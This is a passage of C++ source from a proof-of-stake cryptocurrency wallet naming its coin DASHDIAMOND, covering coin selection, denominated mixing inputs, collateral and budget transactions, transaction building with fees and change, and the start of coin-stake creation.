IsMine(pcoin->vout[i]); if (IsSpent(wtxid, i)) continue; if (mine == ISMINE_NO) continue; if (mine == ISMINE_WATCH_ONLY) continue; if (IsLockedCoin((*it).first, i) && nCoinType != ONLY_10000) continue; if (pcoin->vout[i].nValue <= 0 && !fIncludeZeroValue) continue; if (coinControl && coinControl->HasSelected() && !coinControl->fAllowOtherInputs && !coinControl->IsSelected((*it).first, i)) continue; bool fIsSpendable = false; if ((mine & ISMINE_SPENDABLE) != ISMINE_NO) fIsSpendable = true; if ((mine & ISMINE_MULTISIG) != ISMINE_NO) fIsSpendable = true; vCoins.emplace_back(COutput(pcoin, i, nDepth, fIsSpendable)); } } } } map<CBitcoinAddress, vector<COutput> > CWallet::AvailableCoinsByAddress(bool fConfirmed, CAmount maxCoinValue) { vector<COutput> vCoins; AvailableCoins(vCoins, fConfirmed); map<CBitcoinAddress, vector<COutput> > mapCoins; BOOST_FOREACH (COutput out, vCoins) { if (maxCoinValue > 0 && out.tx->vout[out.i].nValue > maxCoinValue) continue; CTxDestination address; if (!ExtractDestination(out.tx->vout[out.i].scriptPubKey, address)) continue; mapCoins[CBitcoinAddress(address)].push_back(out); } return mapCoins; } static void ApproximateBestSubset(vector<pair<CAmount, pair<const CWalletTx*, unsigned int> > > vValue, const CAmount& nTotalLower, const CAmount& nTargetValue, vector<char>& vfBest, CAmount& nBest, int iterations = 1000) { vector<char> vfIncluded; vfBest.assign(vValue.size(), true); nBest = nTotalLower; seed_insecure_rand(); for (int nRep = 0; nRep < iterations && nBest != nTargetValue; nRep++) { vfIncluded.assign(vValue.size(), false); CAmount nTotal = 0; bool fReachedTarget = false; for (int nPass = 0; nPass < 2 && !fReachedTarget; nPass++) { for (unsigned int i = 0; i < vValue.size(); i++) { //The solver here uses a randomized algorithm, //the randomness serves no real security purpose but is just //needed to prevent degenerate behavior and it is important //that the rng is fast. We do not use a constant random sequence, //because there may be some privacy improvement by making //the selection random. if (nPass == 0 ? insecure_rand() & 1 : !vfIncluded[i]) { nTotal += vValue[i].first; vfIncluded[i] = true; if (nTotal >= nTargetValue) { fReachedTarget = true; if (nTotal < nBest) { nBest = nTotal; vfBest = vfIncluded; } nTotal -= vValue[i].first; vfIncluded[i] = false; } } } } } } // TODO: find appropriate place for this sort function // move denoms down bool less_then_denom(const COutput& out1, const COutput& out2) { const CWalletTx* pcoin1 = out1.tx; const CWalletTx* pcoin2 = out2.tx; bool found1 = false; bool found2 = false; BOOST_FOREACH (CAmount d, obfuScationDenominations) // loop through predefined denoms { if (pcoin1->vout[out1.i].nValue == d) found1 = true; if (pcoin2->vout[out2.i].nValue == d) found2 = true; } return (!found1 && found2); } bool CWallet::SelectStakeCoins(std::set<std::pair<const CWalletTx*, unsigned int> >& setCoins, CAmount nTargetAmount) const { vector<COutput> vCoins; AvailableCoins(vCoins, true, NULL, false, STAKABLE_COINS); CAmount nAmountSelected = 0; for (const COutput& out : vCoins) { //make sure not to outrun target amount if (nAmountSelected + out.tx->vout[out.i].nValue > nTargetAmount) continue; //if zerocoinspend, then use the block time int64_t nTxTime = out.tx->GetTxTime(); if (out.tx->IsZerocoinSpend()) { if (!out.tx->IsInMainChain()) continue; nTxTime = mapBlockIndex.at(out.tx->hashBlock)->GetBlockTime(); } //check for min age if (GetAdjustedTime() - nTxTime < nStakeMinAge) continue; //check that it is matured if (out.nDepth < (out.tx->IsCoinStake() ? Params().COINBASE_MATURITY() : 10)) continue; //add to our stake set setCoins.insert(make_pair(out.tx, out.i)); nAmountSelected += out.tx->vout[out.i].nValue; } return true; } bool CWallet::MintableCoins() { CAmount nBalance = GetBalance(); if (mapArgs.count("-reservebalance") && !ParseMoney(mapArgs["-reservebalance"], nReserveBalance)) return error("MintableCoins() : invalid reserve balance amount"); if (nBalance <= nReserveBalance) return false; vector<COutput> vCoins; AvailableCoins(vCoins, true); for (const COutput& out : vCoins) { int64_t nTxTime = out.tx->GetTxTime(); if (out.tx->IsZerocoinSpend()) { if (!out.tx->IsInMainChain()) continue; nTxTime = mapBlockIndex.at(out.tx->hashBlock)->GetBlockTime(); } if (GetAdjustedTime() - nTxTime > nStakeMinAge) return true; } return false; } bool CWallet::SelectCoinsMinConf(const CAmount& nTargetValue, int nConfMine, int nConfTheirs, vector<COutput> vCoins, set<pair<const CWalletTx*, unsigned int> >& setCoinsRet, CAmount& nValueRet) const { setCoinsRet.clear(); nValueRet = 0; // List of values less than target pair<CAmount, pair<const CWalletTx*, unsigned int> > coinLowestLarger; coinLowestLarger.first = std::numeric_limits<CAmount>::max(); coinLowestLarger.second.first = NULL; vector<pair<CAmount, pair<const CWalletTx*, unsigned int> > > vValue; CAmount nTotalLower = 0; random_shuffle(vCoins.begin(), vCoins.end(), GetRandInt); // move denoms down on the list sort(vCoins.begin(), vCoins.end(), less_then_denom); // try to find nondenom first to prevent unneeded spending of mixed coins for (unsigned int tryDenom = 0; tryDenom < 2; tryDenom++) { if (fDebug) LogPrint("selectcoins", "tryDenom: %d\n", tryDenom); vValue.clear(); nTotalLower = 0; BOOST_FOREACH (const COutput& output, vCoins) { if (!output.fSpendable) continue; const CWalletTx* pcoin = output.tx; // if (fDebug) LogPrint("selectcoins", "value %s confirms %d\n", FormatMoney(pcoin->vout[output.i].nValue), output.nDepth); if (output.nDepth < (pcoin->IsFromMe(ISMINE_ALL) ? nConfMine : nConfTheirs)) continue; int i = output.i; CAmount n = pcoin->vout[i].nValue; if (tryDenom == 0 && IsDenominatedAmount(n)) continue; // we don't want denom values on first run pair<CAmount, pair<const CWalletTx*, unsigned int> > coin = make_pair(n, make_pair(pcoin, i)); if (n == nTargetValue) { setCoinsRet.insert(coin.second); nValueRet += coin.first; return true; } else if (n < nTargetValue + CENT) { vValue.push_back(coin); nTotalLower += n; } else if (n < coinLowestLarger.first) { coinLowestLarger = coin; } } if (nTotalLower == nTargetValue) { for (unsigned int i = 0; i < vValue.size(); ++i) { setCoinsRet.insert(vValue[i].second); nValueRet += vValue[i].first; } return true; } if (nTotalLower < nTargetValue) { if (coinLowestLarger.second.first == NULL) // there is no input larger than nTargetValue { if (tryDenom == 0) // we didn't look at denom yet, let's do it continue; else // we looked at everything possible and didn't find anything, no luck return false; } setCoinsRet.insert(coinLowestLarger.second); nValueRet += coinLowestLarger.first; return true; } // nTotalLower > nTargetValue break; } // Solve subset sum by stochastic approximation sort(vValue.rbegin(), vValue.rend(), CompareValueOnly()); vector<char> vfBest; CAmount nBest; ApproximateBestSubset(vValue, nTotalLower, nTargetValue, vfBest, nBest, 1000); if (nBest != nTargetValue && nTotalLower >= nTargetValue + CENT) ApproximateBestSubset(vValue, nTotalLower, nTargetValue + CENT, vfBest, nBest, 1000); // If we have a bigger coin and (either the stochastic approximation didn't find a good solution, // or the next bigger coin is closer), return the bigger coin if (coinLowestLarger.second.first && ((nBest != nTargetValue && nBest < nTargetValue + CENT) || coinLowestLarger.first <= nBest)) { setCoinsRet.insert(coinLowestLarger.second); nValueRet += coinLowestLarger.first; } else { string s = "CWallet::SelectCoinsMinConf best subset: "; for (unsigned int i = 0; i < vValue.size(); i++) { if (vfBest[i]) { setCoinsRet.insert(vValue[i].second); nValueRet += vValue[i].first; s += FormatMoney(vValue[i].first) + " "; } } LogPrintf("%s - total %s\n", s, FormatMoney(nBest)); } return true; } bool CWallet::SelectCoins(const CAmount& nTargetValue, set<pair<const CWalletTx*, unsigned int> >& setCoinsRet, CAmount& nValueRet, const CCoinControl* coinControl, AvailableCoinsType coin_type, bool useIX) const { // Note: this function should never be used for "always free" tx types like dstx vector<COutput> vCoins; AvailableCoins(vCoins, true, coinControl, false, coin_type, useIX); // coin control -> return all selected outputs (we want all selected to go into the transaction for sure) if (coinControl && coinControl->HasSelected()) { BOOST_FOREACH (const COutput& out, vCoins) { if (!out.fSpendable) continue; if (coin_type == ONLY_DENOMINATED) { CTxIn vin = CTxIn(out.tx->GetHash(), out.i); int rounds = GetInputObfuscationRounds(vin); // make sure it's actually anonymized if (rounds < nZeromintPercentage) continue; } nValueRet += out.tx->vout[out.i].nValue; setCoinsRet.insert(make_pair(out.tx, out.i)); } return (nValueRet >= nTargetValue); } //if we're doing only denominated, we need to round up to the nearest .1 DASHDIAMOND if (coin_type == ONLY_DENOMINATED) { // Make outputs by looping through denominations, from large to small BOOST_FOREACH (CAmount v, obfuScationDenominations) { BOOST_FOREACH (const COutput& out, vCoins) { if (out.tx->vout[out.i].nValue == v //make sure it's the denom we're looking for && nValueRet + out.tx->vout[out.i].nValue < nTargetValue + (0.1 * COIN) + 100 //round the amount up to .1 DASHDIAMOND over ) { CTxIn vin = CTxIn(out.tx->GetHash(), out.i); int rounds = GetInputObfuscationRounds(vin); // make sure it's actually anonymized if (rounds < nZeromintPercentage) continue; nValueRet += out.tx->vout[out.i].nValue; setCoinsRet.insert(make_pair(out.tx, out.i)); } } } return (nValueRet >= nTargetValue); } return (SelectCoinsMinConf(nTargetValue, 1, 6, vCoins, setCoinsRet, nValueRet) || SelectCoinsMinConf(nTargetValue, 1, 1, vCoins, setCoinsRet, nValueRet) || (bSpendZeroConfChange && SelectCoinsMinConf(nTargetValue, 0, 1, vCoins, setCoinsRet, nValueRet))); } struct CompareByPriority { bool operator()(const COutput& t1, const COutput& t2) const { return t1.Priority() > t2.Priority(); } }; bool CWallet::SelectCoinsByDenominations(int nDenom, CAmount nValueMin, CAmount nValueMax, std::vector<CTxIn>& vCoinsRet, std::vector<COutput>& vCoinsRet2, CAmount& nValueRet, int nObfuscationRoundsMin, int nObfuscationRoundsMax) { vCoinsRet.clear(); nValueRet = 0; vCoinsRet2.clear(); vector<COutput> vCoins; AvailableCoins(vCoins, true, NULL, ONLY_DENOMINATED); std::random_shuffle(vCoins.rbegin(), vCoins.rend()); //keep track of each denomination that we have bool fFound10000 = false; bool fFound1000 = false; bool fFound100 = false; bool fFound10 = false; bool fFound1 = false; bool fFoundDot1 = false; //Check to see if any of the denomination are off, in that case mark them as fulfilled if (!(nDenom & (1 << 0))) fFound10000 = true; if (!(nDenom & (1 << 1))) fFound1000 = true; if (!(nDenom & (1 << 2))) fFound100 = true; if (!(nDenom & (1 << 3))) fFound10 = true; if (!(nDenom & (1 << 4))) fFound1 = true; if (!(nDenom & (1 << 5))) fFoundDot1 = true; BOOST_FOREACH (const COutput& out, vCoins) { // masternode-like input should not be selected by AvailableCoins now anyway //if(out.tx->vout[out.i].nValue == 10000*COIN) continue; if (nValueRet + out.tx->vout[out.i].nValue <= nValueMax) { bool fAccepted = false; // Function returns as follows: // // bit 0 - 10000 DASHDIAMOND+1 ( bit on if present ) // bit 1 - 1000 DASHDIAMOND+1 // bit 2 - 100 DASHDIAMOND+1 // bit 3 - 10 DASHDIAMOND+1 // bit 4 - 1 DASHDIAMOND+1 // bit 5 - .1 DASHDIAMOND+1 CTxIn vin = CTxIn(out.tx->GetHash(), out.i); int rounds = GetInputObfuscationRounds(vin); if (rounds >= nObfuscationRoundsMax) continue; if (rounds < nObfuscationRoundsMin) continue; if (fFound10000 && fFound1000 && fFound100 && fFound10 && fFound1 && fFoundDot1) { //if fulfilled //we can return this for submission if (nValueRet >= nValueMin) { //random reduce the max amount we'll submit for anonymity nValueMax -= (rand() % (nValueMax / 5)); //on average use 50% of the inputs or less int r = (rand() % (int)vCoins.size()); if ((int)vCoinsRet.size() > r) return true; } //Denomination criterion has been met, we can take any matching denominations if ((nDenom & (1 << 0)) && out.tx->vout[out.i].nValue == ((10000 * COIN) + 10000000)) { fAccepted = true; } else if ((nDenom & (1 << 1)) && out.tx->vout[out.i].nValue == ((GetMstrNodCollateral(chainActive.Height())*COIN) + 1000000)) { fAccepted = true; } else if ((nDenom & (1 << 2)) && out.tx->vout[out.i].nValue == ((100 * COIN) + 100000)) { fAccepted = true; } else if ((nDenom & (1 << 3)) && out.tx->vout[out.i].nValue == ((10 * COIN) + 10000)) { fAccepted = true; } else if ((nDenom & (1 << 4)) && out.tx->vout[out.i].nValue == ((1 * COIN) + 1000)) { fAccepted = true; } else if ((nDenom & (1 << 5)) && out.tx->vout[out.i].nValue == ((.1 * COIN) + 100)) { fAccepted = true; } } else { //Criterion has not been satisfied, we will only take 1 of each until it is. if ((nDenom & (1 << 0)) && out.tx->vout[out.i].nValue == ((10000 * COIN) + 10000000)) { fAccepted = true; fFound10000 = true; } else if ((nDenom & (1 << 1)) && out.tx->vout[out.i].nValue == ((GetMstrNodCollateral(chainActive.Height())*COIN) + 1000000)) { fAccepted = true; fFound1000 = true; } else if ((nDenom & (1 << 2)) && out.tx->vout[out.i].nValue == ((100 * COIN) + 100000)) { fAccepted = true; fFound100 = true; } else if ((nDenom & (1 << 3)) && out.tx->vout[out.i].nValue == ((10 * COIN) + 10000)) { fAccepted = true; fFound10 = true; } else if ((nDenom & (1 << 4)) && out.tx->vout[out.i].nValue == ((1 * COIN) + 1000)) { fAccepted = true; fFound1 = true; } else if ((nDenom & (1 << 5)) && out.tx->vout[out.i].nValue == ((.1 * COIN) + 100)) { fAccepted = true; fFoundDot1 = true; } } if (!fAccepted) continue; vin.prevPubKey = out.tx->vout[out.i].scriptPubKey; // the inputs PubKey nValueRet += out.tx->vout[out.i].nValue; vCoinsRet.push_back(vin); vCoinsRet2.push_back(out); } } return (nValueRet >= nValueMin && fFound10000 && fFound1000 && fFound100 && fFound10 && fFound1 && fFoundDot1); } bool CWallet::SelectCoinsDark(CAmount nValueMin, CAmount nValueMax, std::vector<CTxIn>& setCoinsRet, CAmount& nValueRet, int nObfuscationRoundsMin, int nObfuscationRoundsMax) const { CCoinControl* coinControl = NULL; setCoinsRet.clear(); nValueRet = 0; vector<COutput> vCoins; AvailableCoins(vCoins, true, coinControl, nObfuscationRoundsMin < 0 ? ONLY_NONDENOMINATED_NOT10000IFMN : ONLY_DENOMINATED); set<pair<const CWalletTx*, unsigned int> > setCoinsRet2; //order the array so largest nondenom are first, then denominations, then very small inputs. sort(vCoins.rbegin(), vCoins.rend(), CompareByPriority()); BOOST_FOREACH (const COutput& out, vCoins) { //do not allow inputs less than 1 CENT if (out.tx->vout[out.i].nValue < CENT) continue; //do not allow collaterals to be selected if (IsCollateralAmount(out.tx->vout[out.i].nValue)) continue; if (fMasterNode && out.tx->vout[out.i].nValue == 10000 * COIN) continue; //masternode input if (nValueRet + out.tx->vout[out.i].nValue <= nValueMax) { CTxIn vin = CTxIn(out.tx->GetHash(), out.i); int rounds = GetInputObfuscationRounds(vin); if (rounds >= nObfuscationRoundsMax) continue; if (rounds < nObfuscationRoundsMin) continue; vin.prevPubKey = out.tx->vout[out.i].scriptPubKey; // the inputs PubKey nValueRet += out.tx->vout[out.i].nValue; setCoinsRet.push_back(vin); setCoinsRet2.insert(make_pair(out.tx, out.i)); } } // if it's more than min, we're good to return if (nValueRet >= nValueMin) return true; return false; } bool CWallet::SelectCoinsCollateral(std::vector<CTxIn>& setCoinsRet, CAmount& nValueRet) const { vector<COutput> vCoins; //LogPrintf(" selecting coins for collateral\n"); AvailableCoins(vCoins); //LogPrintf("found coins %d\n", (int)vCoins.size()); set<pair<const CWalletTx*, unsigned int> > setCoinsRet2; BOOST_FOREACH (const COutput& out, vCoins) { // collateral inputs will always be a multiple of DARSEND_COLLATERAL, up to five if (IsCollateralAmount(out.tx->vout[out.i].nValue)) { CTxIn vin = CTxIn(out.tx->GetHash(), out.i); vin.prevPubKey = out.tx->vout[out.i].scriptPubKey; // the inputs PubKey nValueRet += out.tx->vout[out.i].nValue; setCoinsRet.push_back(vin); setCoinsRet2.insert(make_pair(out.tx, out.i)); return true; } } return false; } int CWallet::CountInputsWithAmount(CAmount nInputAmount) { CAmount nTotal = 0; { LOCK(cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsTrusted()) { int nDepth = pcoin->GetDepthInMainChain(false); for (unsigned int i = 0; i < pcoin->vout.size(); i++) { COutput out = COutput(pcoin, i, nDepth, true); CTxIn vin = CTxIn(out.tx->GetHash(), out.i); if (out.tx->vout[out.i].nValue != nInputAmount) continue; if (!IsDenominatedAmount(pcoin->vout[i].nValue)) continue; if (IsSpent(out.tx->GetHash(), i) || IsMine(pcoin->vout[i]) != ISMINE_SPENDABLE || !IsDenominated(vin)) continue; nTotal++; } } } } return nTotal; } bool CWallet::HasCollateralInputs(bool fOnlyConfirmed) const { vector<COutput> vCoins; AvailableCoins(vCoins, fOnlyConfirmed); int nFound = 0; BOOST_FOREACH (const COutput& out, vCoins) if (IsCollateralAmount(out.tx->vout[out.i].nValue)) nFound++; return nFound > 0; } bool CWallet::IsCollateralAmount(CAmount nInputAmount) const { return nInputAmount != 0 && nInputAmount % OBFUSCATION_COLLATERAL == 0 && nInputAmount < OBFUSCATION_COLLATERAL * 5 && nInputAmount > OBFUSCATION_COLLATERAL; } bool CWallet::CreateCollateralTransaction(CMutableTransaction& txCollateral, std::string& strReason) { /* To doublespend a collateral transaction, it will require a fee higher than this. So there's still a significant cost. */ CAmount nFeeRet = 1 * COIN; txCollateral.vin.clear(); txCollateral.vout.clear(); CReserveKey reservekey(this); CAmount nValueIn2 = 0; std::vector<CTxIn> vCoinsCollateral; if (!SelectCoinsCollateral(vCoinsCollateral, nValueIn2)) { strReason = "Error: Obfuscation requires a collateral transaction and could not locate an acceptable input!"; return false; } // make our change address CScript scriptChange; CPubKey vchPubKey; assert(reservekey.GetReservedKey(vchPubKey)); // should never fail, as we just unlocked scriptChange = GetScriptForDestination(vchPubKey.GetID()); reservekey.KeepKey(); BOOST_FOREACH (CTxIn v, vCoinsCollateral) txCollateral.vin.push_back(v); if (nValueIn2 - OBFUSCATION_COLLATERAL - nFeeRet > 0) { //pay collateral charge in fees CTxOut vout3 = CTxOut(nValueIn2 - OBFUSCATION_COLLATERAL, scriptChange); txCollateral.vout.push_back(vout3); } int vinNumber = 0; BOOST_FOREACH (CTxIn v, txCollateral.vin) { if (!SignSignature(*this, v.prevPubKey, txCollateral, vinNumber, int(SIGHASH_ALL | SIGHASH_ANYONECANPAY))) { BOOST_FOREACH (CTxIn v, vCoinsCollateral) UnlockCoin(v.prevout); strReason = "CObfuscationPool::Sign - Unable to sign collateral transaction! \n"; return false; } vinNumber++; } return true; } bool CWallet::GetBudgetSystemCollateralTX(CTransaction& tx, uint256 hash, bool useIX) { CWalletTx wtx; if (GetBudgetSystemCollateralTX(wtx, hash, useIX)) { tx = (CTransaction)wtx; return true; } return false; } bool CWallet::GetBudgetSystemCollateralTX(CWalletTx& tx, uint256 hash, bool useIX) { // make our change address CReserveKey reservekey(pwalletMain); CScript scriptChange; scriptChange << OP_RETURN << ToByteVector(hash); CAmount nFeeRet = 0; std::string strFail = ""; vector<pair<CScript, CAmount> > vecSend; vecSend.push_back(make_pair(scriptChange, BUDGET_FEE_TX)); CCoinControl* coinControl = NULL; bool success = CreateTransaction(vecSend, tx, reservekey, nFeeRet, strFail, coinControl, ALL_COINS, useIX, (CAmount)0); if (!success) { LogPrintf("GetBudgetSystemCollateralTX: Error - %s\n", strFail); return false; } return true; } bool CWallet::ConvertList(std::vector<CTxIn> vCoins, std::vector<CAmount>& vecAmounts) { BOOST_FOREACH (CTxIn i, vCoins) { if (mapWallet.count(i.prevout.hash)) { CWalletTx& wtx = mapWallet[i.prevout.hash]; if (i.prevout.n < wtx.vout.size()) { vecAmounts.push_back(wtx.vout[i.prevout.n].nValue); } } else { LogPrintf("ConvertList -- Couldn't find transaction\n"); } } return true; } bool CWallet::CreateTransaction(const vector<pair<CScript, CAmount> >& vecSend, CWalletTx& wtxNew, CReserveKey& reservekey, CAmount& nFeeRet, std::string& strFailReason, const CCoinControl* coinControl, AvailableCoinsType coin_type, bool useIX, CAmount nFeePay) { if (useIX && nFeePay < CENT) nFeePay = CENT; CAmount nValue = 0; BOOST_FOREACH (const PAIRTYPE(CScript, CAmount) & s, vecSend) { if (nValue < 0) { strFailReason = _("Transaction amounts must be positive"); return false; } nValue += s.second; } if (vecSend.empty() || nValue < 0) { strFailReason = _("Transaction amounts must be positive"); return false; } wtxNew.fTimeReceivedIsTxTime = true; wtxNew.BindWallet(this); CMutableTransaction txNew; { LOCK2(cs_main, cs_wallet); { nFeeRet = 0; if (nFeePay > 0) nFeeRet = nFeePay; while (true) { txNew.vin.clear(); txNew.vout.clear(); wtxNew.fFromMe = true; CAmount nTotalValue = nValue + nFeeRet; double dPriority = 0; // vouts to the payees if (coinControl && !coinControl->fSplitBlock) { BOOST_FOREACH (const PAIRTYPE(CScript, CAmount) & s, vecSend) { CTxOut txout(s.second, s.first); if (txout.IsDust(::minRelayTxFee)) { strFailReason = _("Transaction amount too small"); return false; } txNew.vout.push_back(txout); } } else //UTXO Splitter Transaction { int nSplitBlock; if (coinControl) nSplitBlock = coinControl->nSplitBlock; else nSplitBlock = 1; BOOST_FOREACH (const PAIRTYPE(CScript, CAmount) & s, vecSend) { for (int i = 0; i < nSplitBlock; i++) { if (i == nSplitBlock - 1) { uint64_t nRemainder = s.second % nSplitBlock; txNew.vout.push_back(CTxOut((s.second / nSplitBlock) + nRemainder, s.first)); } else txNew.vout.push_back(CTxOut(s.second / nSplitBlock, s.first)); } } } // Choose coins to use set<pair<const CWalletTx*, unsigned int> > setCoins; CAmount nValueIn = 0; if (!SelectCoins(nTotalValue, setCoins, nValueIn, coinControl, coin_type, useIX)) { if (coin_type == ALL_COINS) { strFailReason = _("Insufficient funds."); } else if (coin_type == ONLY_NOT10000IFMN) { strFailReason = _("Unable to locate enough funds for this transaction that are not equal 10000 DASHDIAMOND."); } else if (coin_type == ONLY_NONDENOMINATED_NOT10000IFMN) { strFailReason = _("Unable to locate enough Obfuscation non-denominated funds for this transaction that are not equal 10000 DASHDIAMOND."); } else { strFailReason = _("Unable to locate enough Obfuscation denominated funds for this transaction."); strFailReason += " " + _("Obfuscation uses exact denominated amounts to send funds, you might simply need to anonymize some more coins."); } if (useIX) { strFailReason += " " + _("SwiftX requires inputs with at least 6 confirmations, you might need to wait a few minutes and try again."); } return false; } BOOST_FOREACH (PAIRTYPE(const CWalletTx*, unsigned int) pcoin, setCoins) { CAmount nCredit = pcoin.first->vout[pcoin.second].nValue; //The coin age after the next block (depth+1) is used instead of the current, //reflecting an assumption the user would accept a bit more delay for //a chance at a free transaction. //But mempool inputs might still be in the mempool, so their age stays 0 int age = pcoin.first->GetDepthInMainChain(); if (age != 0) age += 1; dPriority += (double)nCredit * age; } CAmount nChange = nValueIn - nValue - nFeeRet; //over pay for denominated transactions if (coin_type == ONLY_DENOMINATED) { nFeeRet += nChange; nChange = 0; wtxNew.mapValue["DS"] = "1"; } if (nChange > 0) { // Fill a vout to ourself // TODO: pass in scriptChange instead of reservekey so // change transaction isn't always pay-to-dashdiamond-address CScript scriptChange; // coin control: send change to custom address if (coinControl && !boost::get<CNoDestination>(&coinControl->destChange)) scriptChange = GetScriptForDestination(coinControl->destChange); // no coin control: send change to newly generated address else { // Note: We use a new key here to keep it from being obvious which side is the change. // The drawback is that by not reusing a previous key, the change may be lost if a // backup is restored, if the backup doesn't have the new private key for the change. // If we reused the old key, it would be possible to add code to look for and // rediscover unknown transactions that were written with keys of ours to recover // post-backup change. // Reserve a new key pair from key pool CPubKey vchPubKey; bool ret; ret = reservekey.GetReservedKey(vchPubKey); assert(ret); // should never fail, as we just unlocked scriptChange = GetScriptForDestination(vchPubKey.GetID()); } CTxOut newTxOut(nChange, scriptChange); // Never create dust outputs; if we would, just // add the dust to the fee. if (newTxOut.IsDust(::minRelayTxFee)) { nFeeRet += nChange; nChange = 0; reservekey.ReturnKey(); } else { // Insert change txn at random position: vector<CTxOut>::iterator position = txNew.vout.begin() + GetRandInt(txNew.vout.size() + 1); txNew.vout.insert(position, newTxOut); } } else reservekey.ReturnKey(); // Fill vin BOOST_FOREACH (const PAIRTYPE(const CWalletTx*, unsigned int) & coin, setCoins) txNew.vin.push_back(CTxIn(coin.first->GetHash(), coin.second)); // Sign int nIn = 0; BOOST_FOREACH (const PAIRTYPE(const CWalletTx*, unsigned int) & coin, setCoins) if (!SignSignature(*this, *coin.first, txNew, nIn++)) { strFailReason = _("Signing transaction failed"); return false; } // Embed the constructed transaction data in wtxNew. *static_cast<CTransaction*>(&wtxNew) = CTransaction(txNew); // Limit size unsigned int nBytes = ::GetSerializeSize(*(CTransaction*)&wtxNew, SER_NETWORK, PROTOCOL_VERSION); if (nBytes >= MAX_STANDARD_TX_SIZE) { strFailReason = _("Transaction too large"); return false; } dPriority = wtxNew.ComputePriority(dPriority, nBytes); // Can we complete this as a free transaction? if (fSendFreeTransactions && nBytes <= MAX_FREE_TRANSACTION_CREATE_SIZE) { // Not enough fee: enough priority? double dPriorityNeeded = mempool.estimatePriority(nTxConfirmTarget); // Not enough mempool history to estimate: use hard-coded AllowFree. if (dPriorityNeeded <= 0 && AllowFree(dPriority)) break; // Small enough, and priority high enough, to send for free if (dPriorityNeeded > 0 && dPriority >= dPriorityNeeded) break; } CAmount nFeeNeeded = max(nFeePay, GetMinimumFee(nBytes, nTxConfirmTarget, mempool)); // If we made it here and we aren't even able to meet the relay fee on the next pass, give up // because we must be at the maximum allowed fee. if (nFeeNeeded < ::minRelayTxFee.GetFee(nBytes)) { strFailReason = _("Transaction too large for fee policy"); return false; } if (nFeeRet >= nFeeNeeded) // Done, enough fee included break; // Include more fee and try again. nFeeRet = nFeeNeeded; continue; } } } return true; } bool CWallet::CreateTransaction(CScript scriptPubKey, const CAmount& nValue, CWalletTx& wtxNew, CReserveKey& reservekey, CAmount& nFeeRet, std::string& strFailReason, const CCoinControl* coinControl, AvailableCoinsType coin_type, bool useIX, CAmount nFeePay) { vector<pair<CScript, CAmount> > vecSend; vecSend.push_back(make_pair(scriptPubKey, nValue)); return CreateTransaction(vecSend, wtxNew, reservekey, nFeeRet, strFailReason, coinControl, coin_type, useIX, nFeePay); } // ppcoin: create coin stake transaction bool CWallet::CreateCoinStake(const CKeyStore& keystore, unsigned int nBits, int64_t nSearchInterval, CMutableTransaction& txNew, unsigned int& nTxNewTime) { // The following split & combine thresholds are important to security // Should not be adjusted if you don't understand the consequences //int64_t nCombineThreshold = 0; txNew.vin.clear(); txNew.vout.clear(); // Mark coin stake transaction CScript scriptEmpty; scriptEmpty.clear(); txNew.vout.push_back(CTxOut(0, scriptEmpty)); // Choose coins to use CAmount nBalance = GetBalance(); if (mapArgs.count("-reservebalance") && !ParseMoney(mapArgs["-reservebalance"], nReserveBalance)) return error("CreateCoinStake : invalid reserve balance amount"); if (nBalance <= nReserveBalance) return false; // presstab HyperStake - Initialize as static and don't update the set on every run of CreateCoinStake() in order to lighten resource use static std::set<pair<const CWalletTx*, unsigned int> > setStakeCoins; static int nLastStakeSetUpdate = 0; if (GetTime() - nLastStakeSetUpdate > nStakeSetUpdateTime) { setStakeCoins.clear(); if (!SelectStakeCoins(setStakeCoins, nBalance - nReserveBalance)) return false; nLastStakeSetUpdate = GetTime(); } if (setStakeCoins.empty()) return false; vector<const CWalletTx*> vwtxPrev; CAmount nCredit = 0; CScript scriptPubKeyKernel; //prevent staking a time that won't be accepted if (GetAdjustedTime() <= chainActive.Tip()->nTime) MilliSleep(10000); BOOST_FOREACH (PAIRTYPE(const CWalletTx*, unsigned int) pcoin, setStakeCoins) { //make sure that enough time has elapsed between CBlockIndex* pindex = NULL; BlockMap::iterator it = mapBlockIndex.find(pcoin.first->hashBlock); if (it != mapBlockIndex.end()) pindex = it->second; else { if (fDebug) LogPrintf("CreateCoinStake() failed to find block index \n"); continue; } // Read block header CBlockHeader block = pindex->GetBlockHeader(); bool fKernelFound = false; uint256 hashProofOfStake = 0; COutPoint prevoutStake = COutPoint(pcoin.first->GetHash(), pcoin.second); nTxNewTime = GetAdjustedTime(); //iterates each utxo inside of CheckStakeKernelHash() if (CheckStakeKernelHash(nBits, block, *pcoin.first, prevoutStake, nTxNewTime, nHashDrift, false, hashProofOfStake, true)) { //Double check that this will pass time requirements if (nTxNewTime <= chainActive.Tip()->GetMedianTimePast()) { LogPrintf("CreateCoinStake() : kernel found, but it is too far in the past \n"); continue; } // Found a kernel if (fDebug && GetBoolArg("-printcoinstake", false)) LogPrintf("CreateCoinStake : kernel found\n"); vector<valtype> vSolutions; txnouttype whichType; CScript scriptPubKeyOut; scriptPubKeyKernel = pcoin.first->vout[pcoin.second].scriptPubKey; if (!Solver(scriptPubKeyKernel, whichType, vSolutions)) { LogPrintf("CreateCoinStake : failed to parse kernel\n"); break; } if (fDebug && GetBoolArg("-printcoinstake", false)) LogPrintf("CreateCoinStake : parsed kernel type=%d\n", whichType); if (whichType != TX_PUBKEY && whichType != TX_PUBKEYHASH) { if (fDebug && GetBoolArg("-printcoinstake", false)) LogPrintf("CreateCoinStake : no support for kernel type=%d\n", whichType); break; // only support pay to public key and pay to address } if (whichType == TX_PUBKEYHASH) // pay to address type { //convert to pay to public key type CKey key; if (!keystore.GetKey(uint160(vSolutions[0]), key)) { if (fDebug && GetBoolArg("-printcoinstake", false)) LogPrintf("CreateCoinStake : failed to get key for kernel type=%d\n", whichType); break; // unable to find corresponding public key } scriptPubKeyOut << key.GetPubKey() << OP_CHECKSIG; } else scriptPubKeyOut = scriptPubKeyKernel; txNew.vin.push_back(CTxIn(pcoin.first->GetHash(), pcoin.second)); nCredit += pcoin.first->vout[pcoin.second].nValue; vwtxPrev.push_back(pcoin.first); txNew.vout.push_back(CTxOut(0, scriptPubKeyOut)); //presstab HyperStake - calculate the total size of our new output including the stake reward so that we can use it to decide whether to split the stake outputs const CBlockIndex* pIndex0 = chainActive.Tip(); uint64_t nTotalSize = pcoin.first->vout[pcoin.second].nValue + GetBlockValue(pIndex0->nHeight); //presstab HyperStake - if MultiSend is set to send in coinstake we will add our outputs here (values asigned 